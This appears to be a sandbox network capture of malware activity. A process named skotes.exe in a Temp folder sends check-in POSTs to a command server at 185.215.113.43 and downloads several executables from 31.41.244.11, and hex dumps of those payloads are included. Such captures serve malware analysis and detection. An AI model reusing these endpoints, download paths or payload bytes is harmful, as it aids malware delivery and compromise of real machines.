Dec 18, 2024 21:30:10.730710030 CET	1236	IN	Data Raw: 00 00 0a 2d b7 de 0f 12 02 fe 16 04 00 00 1b 6f 33 00 00 0a 00 dc 06 13 07 2b 00 11 07 2a 00 00 00 01 10 00 00 02 00 49 00 4d 96 00 0f 00 00 00 00 13 30 03 00 65 00 00 00 08 00 00 11 00 02 72 d3 00 00 70 28 20 00 00 0a 28 05 00 00 2b 7e 0a 00 00 Data Ascii: -o3+IM0erp( (+~%-&~s%(+(+~%-&~ s4%(++*0urprpo#+=o6(+,X+
Dec 18, 2024 21:30:10.731194973 CET	224	IN	Data Raw: 0b 07 06 fe 06 29 00 00 06 73 4f 00 00 0a 28 0c 00 00 2b 28 07 00 00 2b 0c 2b 00 08 2a 13 30 02 00 1c 00 00 00 10 00 00 11 00 28 51 00 00 0a 73 52 00 00 0a 0a 06 20 20 02 00 00 6f 53 00 00 0a 0b 2b 00 07 2a 1b 30 03 00 44 00 00 00 11 00 00 11 00 Data Ascii: )sO(+(++0(QsR oS+0D(ToUsV%rpoW(X&rpoY(((0Lss}{oZr1p(+
Dec 18, 2024 21:30:10.731206894 CET	1236	IN	Data Raw: 2b 00 00 06 73 5c 00 00 0a 28 0e 00 00 2b 28 04 00 00 2b 73 26 00 00 0a 0c 2b 00 08 2a 13 30 02 00 18 00 00 00 14 00 00 11 00 28 5d 00 00 0a 0a 12 00 72 7f 02 00 70 28 5e 00 00 0a 0b 2b 00 07 2a 1b 30 07 00 d3 00 00 00 15 00 00 11 00 00 73 5f 00 Data Ascii: +s\(+(+s&+0(]rp(^+0s_%s`%rpoa%rprp(boc%od%oe%of%ogohoi&ojokolokom(>,rp((+r)p
Dec 18, 2024 21:30:10.731219053 CET	1236	IN	Data Raw: 00 00 2b 00 dd 7d 04 00 00 02 7b 2f 00 00 04 0b 02 7c 2f 00 00 04 fe 15 21 00 00 01 02 15 25 0a 7d 14 00 00 04 12 01 28 70 00 00 0a 00 72 e4 05 00 70 7e 05 00 00 04 28 1a 00 00 0a 28 19 00 00 0a 00 72 12 06 00 70 7e 06 00 00 04 28 1a 00 00 0a 28 Data Ascii: +}{/\|/!%}(prp~((rp~(({(}r@p({oy}'+J\|'(z}(rpp\|(({\|((\|?(}(\|(\|'(~-/\|'o3
Dec 18, 2024 21:30:10.731928110 CET	1236	IN	Data Raw: 00 02 00 00 00 ec 04 00 00 37 00 00 00 23 05 00 00 17 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 4c 05 00 00 53 05 00 00 57 00 00 00 1e 00 00 01 06 2a 22 02 28 6e 00 00 0a 00 2a 00 1b 30 07 00 fe 01 00 00 1a 00 00 11 02 7b 30 00 00 04 0a 06 17 Data Ascii: 7#LSW"(n0{06++6++s}4,+.++M8{4{2oo(-C%}0}9\|1(+}{9\|9%}0(}6
Dec 18, 2024 21:30:10.731940985 CET	1236	IN	Data Raw: 00 1e 00 00 01 06 2a 00 00 42 53 4a 42 01 00 01 00 00 00 00 00 0c 00 00 00 76 34 2e 30 2e 33 30 33 31 39 00 00 00 00 05 00 6c 00 00 00 7c 0d 00 00 23 7e 00 00 e8 0d 00 00 64 10 00 00 23 53 74 72 69 6e 67 73 00 00 00 00 4c 1e 00 00 cc 0b 00 00 23 Data Ascii: BSJBv4.0.30319l\|#~d#StringsL#US#GUID(*H#BlobW3IB4%!f/
Dec 18, 2024 21:30:10.732043982 CET	1236	IN	Data Raw: 00 53 06 49 05 05 00 34 21 00 00 00 00 91 00 a4 05 7c 04 06 00 88 21 00 00 00 00 91 00 92 0d 4f 05 06 00 ac 21 00 00 00 00 91 00 17 0e 4f 05 07 00 d0 21 00 00 00 00 91 00 0d 0c fe 01 08 00 10 22 00 00 00 00 91 00 78 0d 54 05 09 00 dc 22 00 00 00 Data Ascii: SI4!\|!O!O!"xT"OP#'^#h0$m$h,%h&gm&m'v'z$(\|\|(m\|
Dec 18, 2024 21:30:10.732059002 CET	1120	IN	Data Raw: 01 99 01 5d 0e bd 01 79 01 63 0a 8b 00 34 00 5a 0d 75 01 79 01 f6 0f db 01 b9 01 cf 0c e0 01 b9 01 f6 0c e0 01 1c 00 5a 0d 06 00 79 01 53 10 fe 01 b9 01 d7 0c 03 02 1c 00 8e 06 08 02 3c 00 5a 0d 11 01 99 01 5e 0f 1d 02 44 00 5a 0d 06 00 44 00 8e Data Ascii: ]yc4ZuyZyS<Z^DZDuJDhDnPZy,WLZTZTh\ZOZ-1Z ddZ<FA
Dec 18, 2024 21:30:10.851905107 CET	1236	IN	Data Raw: 3c 41 6e 61 6c 69 7a 61 72 54 65 78 74 6f 41 73 79 6e 63 3e 64 5f 5f 31 30 00 3c 70 61 6c 61 62 72 61 3e 35 5f 5f 32 30 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 32 30 5f 30 00 3c 3e 39 5f 5f 32 31 5f 30 00 3c 52 65 65 6d 70 6c 61 7a Data Ascii: <AnalizarTextoAsync>d__10<palabra>5__20<>c__DisplayClass20_0<>9__21_0<ReemplazarConSinonimos>b__21_0<>9__22_0<GenerarAnagramas>b__22_0<>9__23_0<VerificarOrtografia>b__23_0<>c__DisplayClass23_0<>9__15_0<ObtenerFrecuenciaPalabras>b__1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49803	185.215.113.43	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:13.209424019 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017024001&unit=246122658369
Dec 18, 2024 21:30:14.564982891 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49804	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:14.740967989 CET	66	OUT	GET /files/7133490529/ANEDNjf.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 21:30:16.087033987 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:15 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:47 GMT Connection: keep-alive ETag: "6763127f-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 18, 2024 21:30:16.087212086 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:16.087222099 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:16.087630987 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:16.087649107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 21:30:16.087658882 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ])u-piTJ
Dec 18, 2024 21:30:16.088407040 CET	1236	IN	Data Raw: dc dd f6 33 ec 32 93 c2 bf 64 f6 cf 3c 65 f4 41 d6 1e 7d c0 27 65 a1 ee 2e 39 30 cb 3c 69 f9 0b 6e d8 31 8f 85 a5 aa 9b 08 fb 74 c9 a5 0d 7f 75 5d e5 86 13 69 a6 f0 b9 b9 f3 e0 4f fb c5 fb c2 c4 d9 95 b2 99 13 c8 3f 21 c2 ff 9b 99 ac 47 b4 51 cd Data Ascii: 32d<eA}'e.90<in1tu]iO?!GQz(jI4Q[h]SI$M6c}F/U )2Ms~3I&u>{B)bokMKEEsC]_9MO>A\^]xgG1+bv<XXV
Dec 18, 2024 21:30:16.088419914 CET	1236	IN	Data Raw: dc 3a 79 0b f9 d6 91 45 75 d3 f0 b7 a1 bb d9 c8 5e 6e 44 c3 d9 d0 60 4f a2 2e 91 1d c4 e6 e4 00 59 2d e4 54 06 35 50 29 7a f3 45 91 89 f9 8a ab 1e ba 6c ca d6 e1 78 4a 54 59 45 0f 15 5d 8e da e9 1a 45 eb 4e 34 04 d5 4d 69 ef ec 27 76 b6 11 bd e9 Data Ascii: :yEu^nD`O.Y-T5P)zElxJTYE]EN4Mi'vsSf:JI_1jq}ANLQKA'88YuV"EUq1x9,#1@y 8GiuB2A8;@OtpLPYnW)`q1
Dec 18, 2024 21:30:16.088430882 CET	1236	IN	Data Raw: 5e 05 10 3b 47 0d 7d cd 92 30 f7 a1 89 9e 22 c9 26 5c d6 40 8a 66 c2 ca d2 33 26 b0 6f 82 9f 6f 39 bd 37 40 fb e9 de dd c2 e1 02 de 5e fc 22 a3 98 0e f9 da 4f 4d f5 c1 49 fc 95 0e 6d 9d 15 ff 65 ff ed cf d8 45 cc 0d a6 8d 4d 71 07 72 78 be d6 f8 Data Ascii: ^;G}0"&\@f3&oo97@^"OMImeEMqrxO^T@]H`8uNqC'?KGZ+ZNihAIC;h\|x7Db<*YmDa>wcjlQ2@\_OOhD~(W!e\eB@h
Dec 18, 2024 21:30:16.089046955 CET	672	IN	Data Raw: b6 58 12 c7 35 4b 78 d7 90 e7 3c 44 45 e8 4f 22 8d c0 a7 6a 14 5e 97 cd b9 1b 87 aa bb 70 c1 13 ae ac 9c cf cb 6c 95 09 77 b2 b7 ce 3c a7 01 b0 97 d7 16 3b e9 cf e0 76 df 0e 28 c6 3c c1 8c c6 cc 09 80 26 3c 28 64 b6 ba d9 80 ff a6 7f 73 86 a7 e1 Data Ascii: X5Kx<DEO"j^plw<;v(<&<(dsI8O`kK19uLN2^:GG"5[a(^(tb}(<@K>9Lewtuhc!g31a2EuwQc#-.RJt>\M
Dec 18, 2024 21:30:16.206917048 CET	1236	IN	Data Raw: ce b3 75 db 64 f3 ff fb 46 40 0a ac b9 05 88 9f d2 1d 91 fa cd 55 3c 50 51 e5 e4 9a df aa 5b ad f5 2f b3 a1 ca ad 87 d6 39 15 fc 45 ad b5 15 c3 7e 0d 16 e3 44 e5 85 60 ad 26 74 da 75 50 87 3b f1 75 8c 53 24 7a a1 b7 b3 29 a5 ee f6 2e 0c 26 8c bd Data Ascii: udF@U<PQ[/9E~D`&tuP;uS$z).&]7w-\|Nr-=(YdMTKn>smx'JN\vOt;BSC"!0qY3YOJDMQ\|t3mA-nyr1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49806	185.215.113.43	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:21.740622997 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017027001&unit=246122658369
Dec 18, 2024 21:30:23.081177950 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49808	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:23.206497908 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 21:30:24.530689001 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:24 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 21:30:24.530726910 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 18, 2024 21:30:24.530766010 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 18, 2024 21:30:24.531126976 CET	224	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3
Dec 18, 2024 21:30:24.531188965 CET	1236	IN	Data Raw: 56 8b f1 8d 4e 08 c7 06 58 a5 41 00 e8 fa 0a 01 00 f6 44 24 08 01 74 07 56 e8 f1 79 01 00 59 8b c6 5e c2 04 00 55 8b ec 51 56 57 ff 75 08 8b f1 8d 4e 0c e8 26 1e 01 00 ff 75 0c 8d 7e 10 8b cf e8 63 fb ff ff 6a 5c 8b cf e8 ec fe ff ff 33 ff 8d 45 Data Ascii: VNXAD$tVyY^UQVWuN&u~cj\3EPWVh<@WW5dA=lAA=AhAtsj5hAAlA;=XAt2t!ttg~k~}PjKjjjW\|YYd9=`Au\EP5hAAMt;u
Dec 18, 2024 21:30:24.531203032 CET	1236	IN	Data Raw: 48 08 89 78 10 89 78 14 e8 2c 07 01 00 84 c0 0f 85 b0 00 00 00 ff 15 98 a1 41 00 53 8d 4d e4 89 45 08 e8 7b f6 ff ff 8d 45 e4 50 e8 5e 16 00 00 3b c7 59 7d 3b ff 75 08 8b 06 6a 6a 56 ff 50 20 ff 75 e4 8b f0 e8 f1 74 01 00 8b 45 0c 3b c7 59 74 06 Data Ascii: Hxx,ASME{EP^;Y};ujjVP utE;YtPQMutYMf<AuE6YujhVPF jSHxxuAPjjVS uwtYuMVEM0g#E8>AP
Dec 18, 2024 21:30:24.531965017 CET	448	IN	Data Raw: 6a 18 ff 75 08 ff 15 40 a0 41 00 57 53 ff 75 d8 ff d6 57 53 ff 75 dc 89 45 f4 ff d6 ff 75 fc 8b 35 18 a0 41 00 89 45 f8 ff d6 ff 75 fc 8b d8 ff d6 ff 75 08 8b 35 38 a0 41 00 53 8b f8 ff d6 ff 75 f8 89 45 f0 ff 75 f4 ff 75 fc ff 15 34 a0 41 00 50 Data Ascii: ju@AWSuWSuEu5AEuu58ASuEuu4APWjWE<Ah u3uPPSuuPPW,AjW(AuESuW5$ASWujAEuWAWWWWuTA_^[UhSVWj@EPuA-h
Dec 18, 2024 21:30:24.531997919 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 18, 2024 21:30:24.532011032 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 18, 2024 21:30:24.532670021 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 18, 2024 21:30:24.651007891 CET	1236	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49815	185.215.113.43	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:34.038279057 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 30 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017081001&unit=246122658369

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49819	31.41.244.11	80	2516	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 21:30:39.291091919 CET	65	OUT	GET /files/151334531/Dh5yvWY.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 21:30:40.637188911 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 20:30:40 GMT Content-Type: application/octet-stream Content-Length: 6450901 Last-Modified: Wed, 18 Dec 2024 20:09:51 GMT Connection: keep-alive ETag: "67632c0f-626ed5" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 5a 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 6a 00 00 00 da 02 00 00 08 00 00 2d 35 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 a0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELZOaj-5@@8.texthj `.rdatan@@.data@.ndatap`.rsrc8@@
Dec 18, 2024 21:30:40.637327909 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 Data Ascii: U\}t+}FEuHOCHPuuu@BSV5OCEWPu@eEEPu@}e`@FRVVU+MM3FQNUM
Dec 18, 2024 21:30:40.637339115 CET	1236	IN	Data Raw: f7 ff 0f b6 56 54 0f af 55 e8 8a c8 0f b6 46 50 0f af 45 10 03 c2 99 f7 ff c1 e1 08 0f b6 c0 0b c8 8d 45 f4 50 89 4d f8 ff 15 5c 80 40 00 83 45 f0 04 89 45 14 50 8d 45 e4 50 ff 75 0c ff 15 c4 81 40 00 ff 75 14 ff d3 83 45 e8 04 39 7d e8 0f 8c 77 Data Ascii: VTUFPEEPM\@EEPEPu@uE9}w~Xtev4X@EtU}jWEEL@vXWd@u5h@WEEh Pjh?CW@uWuEPu@_^3[L$(OCSiVWTtO
Dec 18, 2024 21:30:40.637681961 CET	1236	IN	Data Raw: 50 82 40 00 3b cb 74 09 ff 75 d4 51 ff d6 8b 45 d0 8b 0d e4 3e 43 00 3b cb 0f 84 90 16 00 00 50 51 ff d6 e9 87 16 00 00 6a f0 e8 fc 17 00 00 ff 75 d4 50 ff 15 00 81 40 00 85 c0 0f 85 6e 16 00 00 e9 6d 13 00 00 6a f0 e8 de 17 00 00 50 89 45 08 e8 Data Ascii: P@;tuQE>C;PQjuP@nmjPEH;tZj\VZHf>ff;u9]tEtulDuD;t=uu@uEf>FFf;u9]t-juhDNu@EjS6
Dec 18, 2024 21:30:40.637701988 CET	1236	IN	Data Raw: d8 74 14 57 ff 75 08 ff 15 2c 81 40 00 85 c0 75 06 89 75 fc 66 89 1f 66 89 9f fe 07 00 00 e9 b8 11 00 00 8b 75 e4 53 e8 09 13 00 00 6a 01 8b f8 89 55 f0 e8 fd 12 00 00 59 3b f3 59 89 55 f0 75 08 3b f8 7c 08 7e 8a eb 12 3b f8 73 08 8b 45 dc e9 91 Data Ascii: tWu,@uuffuSjUY;YUu;\|~;sEvEjjUuYUYE$L-@_+X;tSC#323;;u3;t;t3F;t
